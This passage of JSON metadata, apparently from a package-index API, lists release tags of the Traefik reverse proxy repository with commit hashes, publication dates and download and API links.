efik/traefik/tar.gz/v3.7.0-ea.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0-ea.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-ea.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-ea.1/manifests"},{"name":"v3.6.10","sha":"043583490b0a92a97777713048f8bec1b3aff61c","kind":"commit","published_at":"2026-03-06T14:56:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.10","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.10/manifests"},{"name":"v2.11.40","sha":"bb7bb492267b2bdba53ae82b3c19a5758e5d4eda","kind":"commit","published_at":"2026-03-06T14:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.40","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.40/manifests"},{"name":"v2.11.39","sha":"86a8f87acd13b43d6e93c64defaccba6f0d08733","kind":"commit","published_at":"2026-03-06T08:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.39","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.39/manifests"},{"name":"v3.6.9","sha":"65f9d0663202b0ebf7941da0c4af0f1953525ce6","kind":"commit","published_at":"2026-02-23T17:06:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.9","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.9/manifests"},{"name":"v2.11.38","sha":"7c55452b21e7465d95bd731725c7222f7626265b","kind":"commit","published_at":"2026-02-23T15:28:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.38","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.38/manifests"},{"name":"v3.6.8","sha":"2f215ab9a1068248669dacf77ec6901f21051c75","kind":"commit","published_at":"2026-02-11T16:26:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.8","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.8/manifests"},{"name":"v2.11.37","sha":"7747b40310c2652b975fc8a64a81954beb22baea","kind":"commit","published_at":"2026-02-11T09:42:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.37","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.37/manifests"},{"name":"v2.11.36","sha":"f1e850ae0bd6977e8ee0f62a088f075cbea506cf","kind":"commit","published_at":"2026-02-02T10:24:20.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.36","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.36","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.36","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.36/manifests"},{"name":"v3.6.7","sha":"17283643416ef8e830565ce40d3d3d7cc453e68e","kind":"commit","published_at":"2026-01-14T13:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.7","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.7/manifests"},{"name":"v2.11.35","sha":"9e5d4ba5a1cdcf3465630cef858945f90f6b4279","kind":"commit","published_at":"2026-01-14T09:28:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.35","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.35/manifests"},{"name":"v3.6.6","sha":"c2b21d3719808770b4c0c8212f65732c024adb5e","kind":"commit","published_at":"2025-12-29T15:42:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.6","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.6/manifests"},{"name":"v2.11.34","sha":"d1765c7768e5cb9d2d4b0b3a017007349e4e61d4","kind":"commit","published_at":"2025-12-29T14:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.34","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.34/manifests"},{"name":"v2.11.33","sha":"5fe10e2098c67d066b8bde7f4ef97742bc759267","kind":"commit","published_at":"2025-12-17T09:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.33","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.33/manifests"},{"name":"v3.6.5","sha":"e4f0c3051c91e23f2c7271da6070b33d7beb4496","kind":"commit","published_at":"2025-12-16T14:50:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.5/manifests"},{"name":"v3.6.4","sha":"4e441f8b183f60a3f5d82efbca18a7407318aeda","kind":"commit","published_at":"2025-12-05T09:42:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.4/manifests"},{"name":"v3.6.3","sha":"8a621274b81cd177ea5f6e07a5d5472af7d213b3","kind":"commit","published_at":"2025-12-04T16:02:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.3/manifests"},{"name":"v2.11.32","sha":"63a6172ec45331ae9d60929f7db99fd9e572f777","kind":"commit","published_at":"2025-12-04T14:26:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.32","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.32/manifests"},{"name":"v3.6.2","sha":"f6ea1f473a8468c119739cbda5c4fd3f1f886ec2","kind":"commit","published_at":"2025-11-18T16:06:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.2/manifests"},{"name":"v3.6.1","sha":"ade2306a605f0341207ea0972d237ce904cadfe2","kind":"commit","published_at":"2025-11-13T13:20:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.1/manifests"},{"name":"v2.11.31","sha":"79bb320f4c8cc918b220589a5c44ffe232b23733","kind":"commit","published_at":"2025-11-13T09:42:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.31","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.31/manifests"},{"name":"v3.6.0","sha":"06db5168c0d936a0716cbede56bc2cd332be0d4f","kind":"commit","published_at":"2025-11-07T15:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.0/manifests"},{"name":"v3.5.6","sha":"bb10b9df91728ebb43b594b70bfd697263bf7166","kind":"commit","published_at":"2025-11-07T13:40:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.6","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.6/manifests"},{"name":"v3.5.5","sha":"9a8cf6e5bd18bcddf28117a67b4911e92fa77321","kind":"commit","published_at":"2025-11-07T13:06:00.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.5/manifests"},{"name":"v3.6.0-rc1","sha":"d5a8ff919a95a14c84b8752380a931683f46d994","kind":"commit","published_at":"2025-10-28T15:28:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.0-rc1/manifests"},{"name":"v3.5.4","sha":"06f401d4722c26471b3b5ae932559d1d94323b93","kind":"commit","published_at":"2025-10-28T10:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.4/manifests"},{"name":"v2.11.30","sha":"998868450f0915411e25165706ac7c6aa1ad04a9","kind":"commit","published_at":"2025-10-28T08:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.30","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.30/manifests"},{"name":"v3.5.3","sha":"5ab001b55b867d0065ae05099490690a514f95d3","kind":"commit","published_at":"2025-09-26T08:46:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.3/manifests"},{"name":"v3.5.2","sha":"0b240ca97aaf4a17c40898624aed48a86c88e393","kind":"commit","published_at":"2025-09-09T10:12:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.2/manifests"},{"name":"v3.5.1","sha":"30b0666219a8f1bd9f52a0766fa31ddfcc8ef7e6","kind":"commit","published_at":"2025-08-27T09:05:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.1/manifests"},{"name":"v2.11.29","sha":"19866103635c49279d0887009c43e76840ee7791","kind":"commit","published_at":"2025-08-26T12:50:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.29","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.29/manifests"},{"name":"v3.5.0","sha":"2cbd96e64c929bea8f933efa75080e9656314f34","kind":"commit","published_at":"2025-07-23T13:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.0/manifests"},{"name":"v3.4.5","sha":"9bf14b67644cb1da14923bda0e3144a0355b4543","kind":"commit","published_at":"2025-07-23T09:16:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.5/manifests"},{"name":"v2.11.28","sha":"c6daab54e33033e34c1d5c6fe236e2fb7939fc46","kind":"commit","published_at":"2025-07-23T08:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.28","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.28/manifests"},{"name":"v3.5.0-rc2","sha":"77ef7fe490994d83b3d692e6b52f15db4c37e4b4","kind":"commit","published_at":"2025-07-11T09:24:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.0-rc2/manifests"},{"name":"v3.4.4","sha":"95434e870bb642a22e007f0eb1db7de24af5f714","kind":"commit","published_at":"2025-07-11T08:26:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.4/manifests"},{"name":"v2.11.27","sha":"7ca90a4b1879cb21c77c6064996842c36b204c31","kind":"commit","published_at":"2025-07-11T07:30:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.27","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.27/manifests"},{"name":"v3.5.0-rc1","sha":"9862cd67808ea88bf5649fd7cc942732a0f06a53","kind":"commit","published_at":"2025-06-26T14:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.5.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.5.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.5.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.5.0-rc1/manifests"},{"name":"v3.4.3","sha":"b0e246cea9fc61cfc9f4b46bb9e86d1783b39808","kind":"commit","published_at":"2025-06-26T13:18:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"a51918066548a919cf8d46c8c5193cd5ab52a999","kind":"commit","published_at":"2025-06-26T10:30:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.2/manifests"},{"name":"v2.11.26","sha":"8ae0379171cd04b60d7a1cb7da124ef56e8fc9f1","kind":"commit","published_at":"2025-06-26T09:50:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.26","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.26/manifests"},{"name":"v3.4.1","sha":"8b495b45a547f86b6c27fe5db637515b8645a244","kind":"commit","published_at":"2025-05-27T12:32:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.1/manifests"},{"name":"v2.11.25","sha":"5f35c888051a2d33998a5cac3bd945b11b555d93","kind":"commit","published_at":"2025-05-27T10:10:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.25","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.25/manifests"},{"name":"v3.4.0","sha":"ce42e8501eecd5ff25b333ce651bee731b3134b4","kind":"commit","published_at":"2025-05-05T13:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.0/manifests"},{"name":"v3.3.7","sha":"74bc93308b47a1a03b7dbaedd5ec2c0965f46e80","kind":"commit","published_at":"2025-05-05T08:38:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.7","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.7/manifests"},{"name":"v3.4.0-rc2","sha":"9d0e76baa8e04034311401e4fd9e428903679fc2","kind":"commit","published_at":"2025-04-18T12:24:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.4.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.4.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.4.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.4.0-rc2/manifests"},{"name":"v3.3.6","sha":"b05ec75f982006c9d59fc535c752d5907ec94826","kind":"commit","published_at":"2025-04-18T09:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.3.6","html_url":"https://github.com/traefik/traefik/releases/tag/v3.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.3.6/manifests"},{"name":"v2.11.24","sha":"8816cb86a4425dfa90adf01312a6b6e4d73e2792","kind":"commit","published_at":"2025-04-18T07:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.24","html_url":"https://github.com/traefik/t